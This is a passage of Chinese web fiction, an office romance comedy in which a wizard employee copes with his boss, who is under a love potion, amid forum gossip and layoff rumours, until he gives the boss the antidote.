这句话莫名戳中了徐云峰的笑点,他突然扭过脸笑了出来,马杰顿感一阵轻松,脸上的陪笑都真挚不少。
徐云峰笑够了,拦腰又把马杰抱起来走向卧室,被扔在床上那一刻马杰的腰发出悲鸣,他甚至都准备好中途晕过去了,但徐云峰什么都没做。他只是紧紧抱着马杰,脸埋在他颈窝,声音闷闷的,还带着点笑意。
“今晚别走了,留这里吧。”
这句话甚至带了点商量,按理说马杰要是敢拒绝——多少有点不知好歹了。
说真的,马杰,你多少有点不知好歹了。
马杰一边批判自己,一边有些愧疚地拒绝了他。
“徐总,我今晚要是不回家咪咪会被饿死的……”
“……再留一会儿,九点之后车费报销。”马杰感觉环在自己身上的手更紧了点,“以及,明天下午五点来找我。”
徐云峰一锤定音,马杰两只手不知道放哪儿,举着胳膊在空中跳了段舞后还是慢慢搭在了徐云峰背上。
徐云峰发出一声类似满意的喟叹。
“你很忠心……这很好。”
马杰张了张嘴,最终还是没告诉他留下的真相是自己糟糕的人缘。
07
公司相邻办公室之间的隔音并不太好,但一般来说办公室阻隔的是泾渭分明的上下级,k9k10正副经理之间正常情况下没多少秘密,秘密也根本不会被大声嚷出来。
所以马杰发誓他不是故意听Thomas骂Peter的。
“你没疯吧?嗯?这份报告最终去哪儿你不知道?你让人小蜜帮你写报告,Peter我以前怎么没发现你这么有新意啊?你还敢让人家加班,五点以后他时间属于谁你不清楚?”
马·小蜜本人·杰:……
马杰感觉一周后能让自己滚蛋的罪状再添一件。
如果现在能再有一份报告让自己陷进去装听不见就好了,但理想很丰满现实很骨感,等墙那边的声音消失马杰才后知后觉想起来拉上百叶帘,然后正正好和刚从Peter办公室出来的Thomas对上了眼。
马杰尴尬又讨好地朝Thomas笑了笑,迎着对方颇有些疑惑的打量的眼神,到底没敢当着他的面把百叶合上。
他选择在对方转过身去的那一秒合上。
然后刚回去坐好,Peter又笑嘻嘻地打开门进来,带着同样的打量,着重扫了几眼马杰的领口。
“Peter总好,您……”
“诶诶诶,Magic你这是什么话,咱俩什么关系,什么总不总的,多生分啊。”
Peter拍了拍马杰的肩膀,把站起来的他又按了回去,但也没像以前一样毫无边界地勾肩搭背,就撑着桌子朝马杰笑。
“你要是不觉得我占你便宜,就……叫我哥!Peter哥,你看怎么样?”
梅林在上,你要实在觉得我罪无可赦现在就把我收了吧。
马杰咽了口唾沫,嘴颤抖地张了又合,在Peter期盼的目光下还是叫了出来。
“Peter……哥。”
Peter满意地奉承几句出了门,顺带带走了马杰桌子上的几份文件。马杰捂住了脸,觉得尸体不太舒服。
梅林在上,苍天大地,上帝保佑,别再出更多不可挽回的事了,再继续下去自己的归宿就只有公司天台了。
说不定自己被扫地出门的速度快到根本来不及上天台呢。
哈哈。
马杰麻木地放下手,叉掉了电脑上的办公页面。
摸会儿鱼吧。
08
【众和论坛】今天老鼠脖子上那是什么?
1L 楼主
rt,我不信只有我一个人看见了
2L
啥?
3L
那个点在食堂的眼没瞎的都看见了
4L
我宁愿我眼瞎了?
5L
别问,问就是蚊子咬的
6L 楼主
回复5L:但你看他那个样子是想表达这意思吗?
7L
回复6L:你别说,你还真别说
8L
不是,食堂发生了什么啊?
9L
老鼠这个档次的还会进食堂?
10L
你们是真不怕当事人看见啊
11L
回复8L:嗯简单来说老鼠今早领口大开地进了食堂,因为领口大开所以露出来……嗯你懂的
12L 楼主
回复10L:怕什么,老鼠又不逛论坛?
13L
回复11L:。。。咱们说的是同一个老鼠吗
14L
回复13L:公司还有第二只老鼠吗?
15L
都摸鱼是吧,你们一群占着茅坑不拉屎的,快出来!老子尿急!
16L
老鼠不出了名的不近女色吗?我记得之前因为爬床被开了的有好几个
17L
这是谁成功了还得寸进尺啊,领带都不让人家打……这是在炫耀吧
18L
回复17L:你这说的……逻辑没问题,怎么套到老鼠身上哪哪都别扭
19L
回复15L:尿急关茅坑什么事
20L
回复19L:我女的:)
21L
不,没人818这么嚣张的三陪吗…我当时刚行动就被警告加降职了,至少让我明白明白我输哪了
22L
啊所以老鼠脖子上那是……
23L
吻……嗯?
24L
回复23L:6,怎么还有刚反应过来的
25L
回复24L:我真以为是蚊子咬的,因为我这几天被咬了好几个?
26L
回复23L:哥们儿别还是处吧,这么明显……
27L
我真服了,谁来管管,老鼠今天怎么阴晴不定的:(
28L
回复21L:达结你爬床爬的那么理直气壮的嘛?
29L
md吓我一跳,火车头今天吃枪药似的,还好是冲种狗去的-_-#
30L
回复29L:好个屁,种狗一会儿就得折磨咱们??????一拳跟这个世界爆了
31L
回复29L:你是不是忘了哈利波特已经没法替你承担火力了?
32L
回复31L:我突然释怀地亖了
33L
回复29L:啊这事我知道,因为老鼠刚把火车头骂了一顿
34L
回复28L:爬的又不是你的床 ^_^
35L
回复33L:一层层向下骂打通底层逻辑是吧 :-P
36L
回复21L:……你可能输在性别上了
37L 楼主
回复36L:?????????????
38L
回复36L:?!?!兄弟你在说啥?!
39L
(发出尖锐爆鸣声)
40L
?????
41L
回复36L:你最好不是在说hr那谁……
42L
回复41L::)
43L 楼主
回复41L:我靠谁啊???
44L
啊……哈那个特……吗?
45L
要是他的话额。。。
46L
怪不得突然升…。
47L
谁?????你们怎么都知道了?????
48L
我靠他那个受气包样……真干的出来炫耀…?
49L
他今天脖子上其实也有……但盖的挺严实的,电梯上我自拍无意中照到了
【图片】
50L
不是,老鼠他怎么看上的这么个?
51L
回复48L:你要这么说,老鼠在食堂那个得意劲……他故意的?
52L
回复51L:你不会是想表达,老鼠才是炫耀的那个,吧?
53L 楼主
回复51L:我靠hr还有这种能人?!
54L
不是,证据呢???你们HR怎么一群谜语人,怎么看出来的???
55L
你们要是说的是哈利波特……我真不信,他怎么看也不像会卖屁股的
56L
啊要是哈利波特……他昨天五点就走了
57L
回复56L:准确的说应该是四点五十先上的楼,然后和老鼠一起下去的
58L
回复57L:?
59L
主要是种狗刚挨了骂就嬉皮笑脸地进了哈利波特的门……
60L
火车头走的时候看他的眼神也挺意味深长的嗯
61L
我说他怎么突然这么准点下班?合着去别的地方加班了?
62L
老鼠。。。喜欢这一款啊?
63L
不是……你们真不怕当事人看见啊
64L
没别的意思,就是自从火车头走了以后他帘子就没拉开过……
65L
哈利波特平常应该……不摸鱼吧?
66L
卷王也摸鱼?不会吧……
67L
他摸,非常会摸,并且种狗从他办公室出来的时候还带着一沓工作,然后把它们都给了我:)
68L 楼主
……尸体在说话?
69L
隔壁销售部声明,本贴所有观点不代表本人观点
70L 楼主
我要删帖了,最后再说一句吧
以后论坛能八卦的人又少了一位,哈利波特你背叛了工人?
马杰深吸一口气,退出帖子再一看帖子已经不见了。他再次把脸埋进了手里。
完蛋了,他的职业生涯真的只剩一周了,没救了。
啊不,现在只有六天了。
09
等马杰再刷卡走进通往上层的电梯时,面对悄悄行注目礼的其他人颇有些债多不压身的摆烂,甚至领子都松了不少,没像早上那样为了遮红印险些勒死自己。
这一天工作很少,大概是Peter吸取了教训没敢再给他安排工作,让马杰多出了不少时间思考人生。
思考结果就是,爱咋咋吧,一切等解药送过来之后再说。
拖延可耻,但有用。
马杰还是像昨天那样站在门口,心里倒没像昨天那样战战兢兢,他甚至能分神去想今晚回去该给自己做什么饭——昨天快被饿死的除了咪咪还有马杰,当然,他当时没敢说,现在也不敢。
五点整一到,徐云峰像掐着点一样推开了门。
马杰总算知道了到底是什么样的徐云峰才会被人特地发帖吐槽。
平时一丝不苟的衬衫被解开了两个扣子——嗯就类似于Peter平时的装扮,但人Peter有领巾徐云峰没有,所以锁骨以及锁骨上自己留的东西清晰可见。
昨天都没害羞的马杰在这一刻突然摆脱了对命运的担忧明白过来他们都干了什么,脸蹭地一下通红。
徐云峰朝他挑了挑眉,像是丝毫不觉自己的装扮有多惊世骇俗,伸手把车钥匙递给他。
马杰伸双手去接,收手的那一刻被徐云峰刻意拂过指尖。马杰手剧烈地抖了一下,起了一身鸡皮疙瘩。
“走吧。”
徐云峰依旧走在前面,马杰晕乎乎地跟在他半步后,昨天被他用献身和任务遮盖住的记忆争先恐后地跑了出来,以它更通俗的含义再现当时的场景。
……怪不得昨晚自己咬他他那么高兴,当时就想好今天这一出了吧。
复盘到一半,马杰发现今天的一切都有迹可循,徐云峰根本就没打算瞒,只是自己没意识没在意。
“马杰。”
徐云峰突然顿住脚,转过身来叫他。马杰猛的停下,才发现走神的这段时间自己已经跟着徐云峰走到了地下停车场。
“……啊?啊我去倒车。”
马杰低着头朝车走,徐云峰伸手拦在他前面,一手握着他的胳膊顺势半抱住他。马杰没抬头,徐云峰带着笑意的声音就在他头顶响起:
“你昨天可没这么害羞,怎么,到了公司反应过来了?后悔吗?”
最后三个字一被说出来,马杰混乱的脑子立刻停下了杂七杂八的思想开始飞速旋转。徐云峰听声音感觉心情不错,但谁知道下一秒会不会突然翻脸。回答后悔?他疯了才会这么不要命去忤逆中了迷情剂的徐云峰。回答不后悔?……靠这种情况下怎么想怎么觉得口是心非。
经验告诉马杰,当一个问题你答是答否都不行的时候,最好顾左右而言他。
岔开话题的话……马杰看向仍旧惹人注目的那一大片皮肤,悲愤羞耻交加之下伸手扯上了徐云峰的领子——
——小心翼翼地把扣子系上了。
系扣子的过程中徐云峰一言不发,马杰刚伸手就后悔了,但箭在弦上不得不发泼出去的水收不回,他胆战心惊甚至没敢真碰到徐云峰,脑子里疯狂祈祷徐云峰能在迷情剂的作用下别把他撕了。
然后他就被徐云峰抓住了手,头上传来一声轻笑,他面前的胸膛也跟着震颤。
“你吃醋了?”
马杰狠狠打了个冷颤。
他迅速从徐云峰手里抽出了手,飞快地逃进了车里,点火,倒车,直到徐云峰进来都没想出来他到底从哪儿冒出这么离谱的想法。
他悄悄瞥了一眼徐云峰,徐云峰正含笑看着他,马杰好险没一脚油门踩出去。
……算了算了,领导这么想肯定有他的理由,自己要做的就是相信,服从。
马杰小幅度做了个深呼吸平复下复杂的心情,扭头看向徐云峰。
“Jeffrey总,还是去昨天的地方吗?”
“你想去哪儿吃饭?”
马杰愣了一下,然后反应过来昨天快要饿死的大概还要再加一位眼前这人,吃一堑长一智是吧。
明白过来的马杰再次低眉顺眼:
“您定就好,我去哪里都行。”
然后默默腹诽:你最好选个消费低点的,我可没多少钱跟你AA。
徐云峰指尖在手机屏幕上轻轻敲着,语气像是对听话的宠物:
“我还没吝啬到一顿饭都请不起。你选,我请客。”
马杰的尊严刺痛了一下,然后乖顺地向金钱低下了头。
“那……能去海底捞吗?”
10
马杰尤其喜欢去海底捞。
一来这地方人流量大,也没多少隐私,一桌过生日周围人都能看热闹,公司酒局和团建一般不会选在这里,这里对于马杰来说是个完全私人的地方。
二来海底捞服务态度好啊,刚进来路过的每个员工都会欢迎你,走动时所有人都会礼貌向你问好,饮料没之前总有员工会注意到并帮你倒满,遇上难下锅的比如鸭血虾滑根本不用你亲自动手。每次来马杰被工作蹂躏的心都能在被服务的过程中快速愈合。
马杰是这么回答徐云峰的——当然,更委婉一点。
彼时徐云峰颇不自在地坐在座位上,身边人群喧哗。他张了张嘴,犹豫片刻还是告诉马杰一般高级餐厅都是这种待遇。
马杰沉默地塞给他一碗银耳雪梨汤。
徐云峰还要说话,隔壁桌突然传来一阵音乐。徐云峰一顿,转头看过去,几个工作人员举着“生日
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快乐”的灯牌挥舞着,被围着的人带着生日帽捂着脸,同桌的其他人正起哄。
“和所有的烦恼说拜拜~和所有的快乐说嗨嗨~”
徐云峰沉默了。
马杰也沉默地看向隔壁,眼神里透露着怀念。
看样子是大学生吧?真好啊,一看就还没经历过社会的毒打。
两人沉默地看着隔壁欢乐的场面,直到歌放完,拿着灯牌的人都走了,徐云峰才有些痛苦地揉了揉眉心。再睁眼,一个人站在隔壁……拉面条?
“嚯!”马杰忍不住赞叹出声。他之前来也看见过现做长寿面的,但没离这么近过。看着那团面越来越长,然后被像彩带一样舞起来,马杰觉得人技术真好,面条被拉那么长都没碰到地板,练这个肯定废了不少功夫,而且一天之中想看这幅场面的人肯定不少,一天下来……想想胳膊就酸。不过不就靠这手艺过日子嘛,海里捞长寿面贵在哪儿?不就这一手艺。什么样的人吃什么样的饭。
面条跳了半天舞还是下了锅,马杰本来想鼓鼓掌,想了想又放弃了。那是另一桌点的手艺,他这算偷看,再者徐云峰在身边他也不敢。
马杰也就收回目光,忙着下自己的菜,还不忘问徐云峰:
“Jeffrey总,您想吃什么?”
刚才点菜这位也不点,就说请自己,也不知道自己点的合不合他的口味。
徐云峰沉默着喝了一口果汁,摇了摇头。
“不用管我,你吃自己的。”
马杰闻言险些没夹住涮着的毛肚,迟疑地看向徐云峰。徐云峰看向他又加了一句:
“我吃过了。”
马杰点了点头,悬着的心和毛肚一起放了下去。
一顿饭马杰吃,徐云峰就一直看着他吃,谁也没说话。马杰觉得就不该点这份毛肚,七上八下的寓意实在是不好,吃都吃不好。但他也不敢说话,他察觉出来徐云峰不喜欢这里的环境,之前没感觉,现在觉得这地方实在是吵的过分。时不时就有音乐从周围传过来,有的时候甚至能听到特别大声的笑,服务员也时不时经过,非常体贴地给一直喝果汁的徐云峰一杯杯续杯……以往让马杰感到舒适的环境在今天格外让人难熬,而罪魁祸首就坐在马杰旁边看着他,一直看着他。
谁家来餐馆专门看人吃饭啊……
“秀色可餐”一词猛的出现在马杰脑海,让他一阵反胃。
一顿饭就在沉默中结束了。马杰跟着徐云峰在一片“慢走”中出门,进到车里马杰点火,才打破了两人之间的沉默:
“Jeffrey总,接下来是去昨天那里吗?”
“去你家。”
徐云峰像是根本没意识到自己说了什么,他甚至没看马杰。马杰被自己的口水呛了一下,咳嗽着吃惊地看向徐云峰。
“怎么了?”徐云峰看向他挑了挑眉,“不怕咪咪饿死了?”
11
讨厌没有边界感的上司。
倒不是马杰的家有多寒酸——反正比起徐云峰家肯定是不够看,所以再小再乱也都是这么回事,既然徐云峰提出要来马杰家那就再破也得忍着。
但再怎么说,马杰也是个巫师,家里比起普通人总会有一些不合常理的地方……
比如刚开门就飞出来迎接的咪咪。
马杰举起胳膊让它停在上面,回头有些尴尬地笑了笑:
“家里有点乱,Jeffrey总您见谅。”
“猫头鹰?”徐云峰惊奇地看向马杰胳膊上的鸟,“它就是咪咪?”
马杰把人请进来,熟练地摸了摸咪咪白色的羽毛。
“对,是雪鸮……哈利波特同款。”
咪咪“咕咕”叫了两声,用头去贴马杰的手,眼睛一眨不眨地盯着徐云峰。徐云峰迟疑片刻,试探性地伸手,咪咪又扑闪着翅膀飞去了沙发上,依旧盯着徐云峰。
马杰更尴尬了。
他装作自然地移到徐云峰面前隔断了一人一鸟的对视——饶是马杰都觉得这一幕有些诡异了——陪着笑跟徐云峰打商量:
“Jeffrey总,您要不先看会儿电视?我给咪咪做好饭咱们再……”
徐云峰收回视线看向马杰,眼神带着兴奋和打量,半晌点了点头,马杰迅速得令奔向厨房。
徐云峰看得他心里发毛。
从冰箱里拿出备好的肉放水里解冻,马杰抽时间拿了点开心果出去——没泡茶,今天徐云峰喝饮料都能喝饱,再喝茶半夜要起夜了。
徐云峰在客厅一档一档换着台,像是不知道看什么好。马杰家的电视仍是老式的天线电视,电视台放什么才能看什么,以前马杰没感觉有什么,他可没闲工夫追剧,为数不多的休息时间也不愿意再面对一切屏幕,电视在他家相当于个摆设。但当徐云峰坐在他不大的沙发上各个台乱换,马杰突然就嫌弃起了他的电视,他的沙发,连带着他自己。
徐云峰和这里格格不入。
昨天在徐云峰家的时候马杰没太大感触。一是昨天太紧张,根本没敢乱看,而且心里还一直想着没写完的报告。再者马杰看不到自己,他眼中的是光鲜亮丽的环境和光鲜亮丽的徐云峰,看久了好像穿上昂贵的浴袍就能融入进去。
在徐云峰眼里,自己是不是同样格格不入。
咪咪又飞了过来,稳稳停在从发呆中抽离出来的马杰胳膊上。马杰连忙带着它进厨房,肉已经化开了,咪咪跳下胳膊飞到了水池边,一口将肉叼起来吞进去。
马杰摇了摇头,把莫名的想法甩出去,而后自嘲地想,Jeffrey本就和自己是两个世界的人,要不是这么个大乌龙他们一辈子都不会有太大交集,这不是肯定的吗。
再出去,电视已经停在了六台,正放着长津湖。徐云峰没抬头看,正慢慢剥着开心果。马杰停了一下,在心里默默喊了一声加油,然后走了过去。
“Jeffrey总,我好了。”
徐云峰把剥好的开心果放进嘴里,抬头冲他挑眉,意思很明白:
那就过来啊。
马杰迟疑地看向徐云峰身下的沙发。
“那个……Jeffrey总,我家沙发大概……没那么结实。”
徐云峰冷眼扫了一眼沙发,拿起遥控器关掉了电视,起身走到马杰身边,边走边解扣子。
“那就去卧室吧。”
热气扫过马杰耳边,马杰有些僵硬地走进卧室,再一回头,徐云峰扣子已经全解开了,正直勾勾地看着他。
马杰在心里悄悄叹了口气,认命地把徐云峰推到床上,然后吻了上去。
马杰依旧没太学会呼吸,有些晕乎乎地感觉领带被解开了,然后就被蒙住了眼。
“唔…!Jeffrey总……哈……”
嘴唇被放开,沉重的呼吸转移到了耳边。
“叫我徐云峰。”
12
“I f**king hate my job like oh my god it f** king sucks
Why can''t I be f**king lazy and make a billion bucks……”
马杰习惯性划掉了闹钟,身体的酸痛随着他的清醒慢慢复苏,连带着昨天的记忆。
一秒,两秒。
马杰猛的坐起身,扭头看向身旁的徐云峰,对方果然也被闹钟吵醒了,眼里还带着些许朦胧,说话也有些含糊:
“早安。”
“早安,徐……总。”
马杰到底还是没能念出昨天被徐云峰硬逼着叫出来的名字。
徐云峰伸手抹了把脸,看样子是没睡够,左手无名指上的银光实在是晃眼。马杰低头,看了眼自己手上同款银光。
应该是纯银的吧……徐云峰恢复之后要是不收回去,融了应该还能卖钱。
当务之急不是这个,在迷情剂影响下许下的誓言就是个屁,更别说还是在床上,不能信程度翻倍。比起这个,马杰现在更担心的是他大逆不道的闹铃有没有被这位主听到。
徐云峰也带着满身青紫坐起来,拿起床头的手机看了眼时间,像是才反应过来地看向他:
“你平常起这么早?”
“啊……是啊。”
废话不起这么早赶不上地铁。
看上去徐云峰没注意歌词,马杰松了口气,开始穿衣服,徐云峰也没再睡下去。
“你闹铃挺欢快啊,叫什么名字?”
马杰一口气没送下去差点憋死。
“啊我也不知道,当时随手找的,觉得旋律不错就保存下来当闹铃了,没记住名字。”
徐云峰没再说话。马杰深呼吸几次安抚了一下自己受惊的心,决定现在立刻马上换了这个铃声。
等马杰穿好一切,这才发现找不到昨天被充当道具的领带,到处翻了翻,然后在徐云峰脖子前找到了它。
“我昨天过来的时候没系领带。”
徐云峰一脸理所当然,打领带的手上的银光依旧惹人注意,马杰张张嘴,还是没开口说给他换一条。
他一看就是故意的。
早饭徐云峰坚持要马杰亲手做,并体贴地告诉他从这里开车去公司用不了多久,不会迟到的。马杰沉默,然后给徐云峰展示了自己除了给咪咪准备的冻肉一无所有的冰箱。徐云峰咬了咬牙,马杰低头不敢看他,表示十分感谢领导的信任,但实在是巧妇难为无米之炊。
最终他们去了一家超贵的早餐店——依旧是徐云峰请客。
然后下午下班时间一到徐云峰就把马杰带去了超市,以塞满马杰的冰箱为目的强制性买了一推车食材,并如愿以偿吃上了马杰亲手做的饭。
马杰十分理解被迷情剂影响后徐云峰的心理——一切以徐云峰喜欢他为前提猜就好。但理解归理解,并不能改变马杰厨艺只能说是差强人意这件事。当他看着徐云峰以一种可能算是幸福的表情吃完了他做的所有东西后第不知道多少次祈祷并害怕着解药的到来。
之后的每一天都是煎熬。
第七天,解药没有来。第八天,解药没有来。第九天,解药没有来。第十天,马杰终于忍不住躲着徐云峰——徐云峰这几天在休息时间几乎和他形影不离,双休更是天天和他黏在一起,甚至工作时间都要时不时叫马杰上去一趟——用双面镜询问了William。
William表示有没有一种可能,猫头鹰是活物,需要休息,需要吃饭睡觉,不可能日夜兼程一刻不停。
马杰于是继续等。第十一天,解药还是没有来,但马杰等来了另一样东西。
广进计划。
13
【众和论坛】真的假的要裁员了???
1L 楼主
当记号笔拿开除威胁我的时候我以为他只是单纯威胁,结果现在看好像不是T_T
2L
什么玩意裁员?????
3L
是有这个风声
4L
我也听说了??
5L 楼主
裁员这事归人事部管吧,有消息灵通的吗?真的假的啊?
6L
你是想听是真的还是是假的
7L 楼主
回复6L:当然是是假的
8L
回复7L:是假的
9L 楼主
回复8L:……T_T
10L
回复8L:……大师,我悟了??
11L
扭曲上勾拳!阴暗的下勾拳!尖叫左勾拳!右勾拳爬行!扭动扫堂腿!分裂回旋踢!这是蜘蛛阴暗的吃耳屎,这是龙卷风翻滚停车场!这是激烈羚羊爬,这是扭曲山羊跳!乌鸦痉挛!老鼠嘶吼!大象蠕动!阴森的低吼!愤怒的章鱼!爬行!分裂!走上岸!章鱼扭曲!无差别攻击!无差别攻击!无差别攻击!无差别攻击!!彻底疯狂!!彻底疯狂!!彻底疯狂!!彻底疯狂!!彻底疯狂!!
12L
今天硬硬的,同事一摸原来是我死了?
13L
我要山要海要自由,开玩笑我要饭的
14L
别担心,一切都不会过去的
15L
天杀的老子要报警抓你
16L
我摸鱼我有罪,我这就回去写报告,求公司不要放弃我???
17L
我这个人看似坚强洒脱,其实跳楼也是会死的?
18L
年轻的时候就要多吃点苦这样老了才能习惯吃苦
19L
回复17L:想多了,我去提前踩过点,公司天台锁住了?
20L
不信谣,不传谣。
21L
回复20L:你最好是在反讽
22L
上司刚被老鼠骂了一顿……他看起来要碎了???
23L
隔壁厕所这是谁在哭啊,带我一个呗
24L
回复22L:现在还管什么上司,裁员不到中层?
25L
回复20L:是真的,计划名字都有了,叫广进
26L 楼主
回复25L:我终于释怀地亖了
27L
回复25L:我居然一眼看出来名字由来……谁想出来的这么缺德的谐音 :-I
28L
回复27L:火车头
29L
厕所哭的小声点,外面都听到了,我不想当着其他人的面在工位哭出来?
马杰关掉论坛,崩溃地趴在了桌子上。
别人会不会被裁掉——哦对是优化——他不知道,但他知道他肯定会。
刚刚论坛里告诉他们计划叫广进的就是马杰,你问他怎么知道?哈哈,当然是因为做会议记录的就是他啊。
当着工位其他人的面算什么,他差点当着众位领导哭出来。
开门声响起,马杰猛的抬头,是Peter在门口。看他这样,Peter连忙进来关好门,然后摆出知心大哥哥的模样坐到马杰旁边,拍了拍他的肩膀:
“刚才会上状态就不对,说说吧,怎么了?”
Peter这么和蔼可亲是因为我有徐云峰做靠山,马杰悲凉地想。
但他确实纠结的要死,Peter的建议……聊胜于无。
“Peter哥,假如,我是说假如啊,”马杰观察着Peter的脸色,“我要是想……和徐总断了……”
“你说什么?!”
Peter差点从椅子上摔下去。马杰连忙伸手去扶,Peter一巴掌打开,脸上仍惊疑未定。
“你……你再说一遍,我感觉我听错了。”
马杰没再说一遍,而是诚恳地看着Peter,看着他的脸色越发惊恐。
“你……”Peter压低了声音,“你疯了吧?赶着大裁员的时候惹Jeffrey,你是生怕丢不了工作吗Magic?”
马杰欲言又止,止言又欲,看的Peter心烦,使劲敲了敲桌子。
“你想说什么啊?说啊!”
“那要是……徐总想和我断了呢?”
“什么意思?”
Peter眉头一皱,满脸写着这事不简单你有事瞒着我。马杰组织了一下语言,试图把这件事以符合常理的方式讲出来:
“就……徐总最近不是尤其关注我吗?”
Peter看了眼马杰脖子上一波未平一波又起的红印,又看了看他手上多出来的Jeffrey同款的戒指。
“我大概知道原因,所以只要我想就可以让徐总对我失去兴趣……”
“不是,你为什么要这么做呢?”
“……我是直的啊!”
马杰崩溃地捂住了脸,他也是有底线的,作为真正的直男,他可以接受领导潜规则,因为这毕竟是一时的,领导总有厌倦的时候嘛。
但迷情剂这东西时效性是一辈子啊!
马杰心态正爆炸着,就感觉到一只手重重搭在他肩膀上,他放下手,Peter正深深地看着他,语重心长地劝慰:
“Magic,你在k8待了多久?”
“五、五六年。”
马杰有些呆愣愣的。
“Jeffrey总看上你之后,你用了多久升上了k9?”
“……一晚上?”
Peter深沉的表情瞬间哽住了,再说话语气都带着些恨铁不成钢,似乎是在控诉命运不公怎么Jeffrey看上的不是自己而是这么个不识好歹的小子:
“一晚上!一晚上你就能升职加薪,再有几个月你就是我上司了Magic!然后你跟我说你是直男?你不能把自己掰弯了吗?!”
马杰……马杰狠狠地动摇了。
Peter诚恳地看着马杰继续说:
“一晚上就能升k9,这你居然还想断,Magic你的屁股有那么金贵吗?”
马杰有些不想承认,但他确实被说动了。
是啊,徐云峰现在中了迷情剂,对自己甚至可以说是言听计从,k14的大领导就这么拿捏在自己手里,走上人生巅峰指日可待,他居然还想断?
Peter看马杰这样,明白他劝成了,最后补了一句:
“就算你真想断,等广进计划实施完了再断,别风口浪尖上耍杂技,不值当。”
11. 这是迷情剂?!
14
确实不值当,但是……
马杰攥进了手里的小瓶子。
就在今天,这个不普通的日子,迷情剂的解药终于姗姗来迟。
但凡,但凡早到一天,马杰都会毫不犹豫地给徐云峰喂下去。偏偏是今天,偏偏冒出来这么个天杀的广进计划……
马杰确实想就这么听Peter劝,再以色侍人一阵子,等捞够了好处度过了危险期再给徐云峰解药。
但他不想再拖下去了,他拖不下去了。
身旁传来一阵水声,马杰转头,咪咪正吃着化开的肉——它这几天被马杰五点下班的作息养刁了,一天吃三顿,明明之前都是吃两顿的。动物都通人性,当初海格给哈利选雪鸮不是没有道理,和海德薇同族的咪咪很快明白了自己一天三顿饭的恩人是徐云峰,一改前几天的疏远,现在经常把脑袋凑上去给徐云峰顺。
马杰心一横,把解药揣在兜里,拿出去两瓶白酒。
酒壮怂人胆。
马杰家的酒很劣,徐云峰喝了几口没再喝,大概是喝不惯。这无所谓,反正马杰的目的不是灌醉徐云峰而是灌醉自己。
喝一杯想一次,现在敢抱着徐总的腿道歉了吗?不敢,那就再喝一杯,现在敢了吗?不敢,那就再喝一杯……
等酒精彻底麻痹了马杰的胆怯,他才坚定地抬起头,起身,然后“啪”地跪在了徐云峰旁边紧紧抱住了徐云峰的腿。
“徐总对不起我真的不是故意的求您不要优化我我除了暖床还有很多优点我很会加班工作能力很强我还很忠诚公司说一我不说二公司指东我不往西我还能直视自己的缺点我肯定会改——”
马杰的嘴被徐云峰一把捏住了。他抬起头,泪眼婆娑地看向徐云峰,眼里充满求生的渴望。
“……你今天一天就在担心这个?”
徐云峰试图把马杰从自己腿上扒下来,但马杰死死抱着,没成功。
徐云峰看起来颇为无奈地叹了口气。
“你道什么歉啊?哪里对不起我了?”
“我……我不该让您……喜欢上我。”
马杰说这话是真心的,徐云峰确实是被迫喜欢上了他,但徐云峰不知道,所以他看起来不但不生气还十分忍俊不禁。
徐云峰再次尝试扒开马杰:
“我原谅你了,我肯定不优化你,可以了吧?你快起来。”
马杰还是保持着跪抱仰头的姿势没动。
“我不信。”
“……那你怎么才能起来?”
“立字据,签合同!有法律效益的那种!就写如果众和优化掉我您就补偿我五百万,税后的!”
铺垫到这,马杰终于说出了自己的最终目的,虽然徐云峰依旧没当回事。
“行,明天回了公司就给你签,能起来了吗?”
“现在就签!”
“行!那你也要先放开我吧?”
马杰犹犹豫豫地松开胳膊,徐云峰笑着揉了揉他的头发,起身进了放了电脑的卧室。在徐云峰背影彻底消失那一刻,马杰晃晃悠悠站起身,把口袋里的解药放进了徐云峰的白粥里。
然后马杰也进了卧室,坐在床上有些晕乎乎地检查了徐云峰签好字的文件,再三确定没问题后终于放心地一头闭上眼倒了下去。
徐云峰叹了口气,然后马杰感觉自己被摆正了身子,让他感到舒适的被窝的温暖随之扑面而来,还带着些徐云峰身上冷淡的香水味。
徐云峰给他掖好被角,关上灯出去了。马杰在黑暗中睁开眼,明白这是他能感受到的徐云峰最后的温柔。
没来由的,马杰心头一紧。他再次闭上眼,有些疑惑,怎么最近不熬夜反而要猝死了呢?
不知过了多久,马杰感觉很久,但实际上绝对没有那么久,卧室门再次被打开,客厅的光透过门缝打在马杰脸上,他听见了徐云峰的呼吸。
又过了很久,久到马杰都要睡着了,客厅的光再次被卧室门隔断,然后马杰听见大门打开又关上,他再次睁开眼,明白这几天的梦从此醒了。
酒精融入身体,最终变成了马杰眼角的一滴泪。他挣扎着起身,把闹钟的时间又调了回去。
明天又要开始挤地铁了。
15
第二天马杰按部就班地上班打卡,第一次心安理得地享受着几乎没有工作的轻松时光,一整天徐云峰都没叫他,马杰相信用不了几天本该他负责的工作都会回来,现在享受为主。
为了让自己看上去无辜一点,马杰在企业微信上明知故问地给徐云峰发了条消息,没多久徐云峰回他:
“今天不用来找我了。”
熟悉的高高在上的冰冷语气,冰冷的让人安心。
五点过去,马杰在办公室无所事事地翻看工作群里的通知,Peter不请自来,关上门就急切地坐到马杰对面:
“不是?Magic你给我来真的啊?我昨天跟你说的你一句都没听进去是吧?”
马杰现在还有闲心开玩笑:
“我说我也不知道怎么回事你信吗?”
“我信个球!”
可惜Peter没闲心。
马杰顶着Peter急切地眼神拿起桌子上唯一一份文件递给他,Peter一目十行地扫完,又从头到尾认认真真一字一句看了一遍,才惊愕地抬起头憋了半天憋出一句:
“……你就要了五百万?”
马杰尴尬地挠挠头,第二天醒过来他就后悔了,但当时在酒精的操纵下他觉得五百万已经很多了。
……好吧事实上就是清醒状态下他也只敢要五百万,甚至徐云峰一挑眉他还能减一半,并衷心觉得自己就是个二百五。
Peter惊叹地看着自己这个下属。你说他窝囊废吧,他敢于直面顶头上司主动断绝关系;你说他勇敢吧,他跟k14离职加分手费只敢要五百万。
“你……你这么做的理由是什么呢?”
马杰没说话。好在Peter也不是真心想知道理由,恨铁不成钢地叹了口气就走了。
没有工作,马杰还是在公司待到了最后一班地铁出发的时间,回家打开门,咪咪快速飞了过来,没有停在马杰伸出来的胳膊上,而是飞到马杰身后在楼道里转了一圈才飞回来,朝马杰抗议地咕咕叫。马杰失笑,摸了摸愤怒的咪咪跟他开玩笑:
“他才来了几天啊,你就这么亲他,再来几天你就要被他拐跑啦。”
咪咪停下了叫,用头蹭了蹭马杰的脸,马杰被蹭了一脸水,眼镜都顶歪了,这才如梦初醒地抹了把脸进屋关门。
戒指冰了下他,犹豫许久马杰还是没摘下来,心想算了也不显眼就当给自己挡桃花吧。
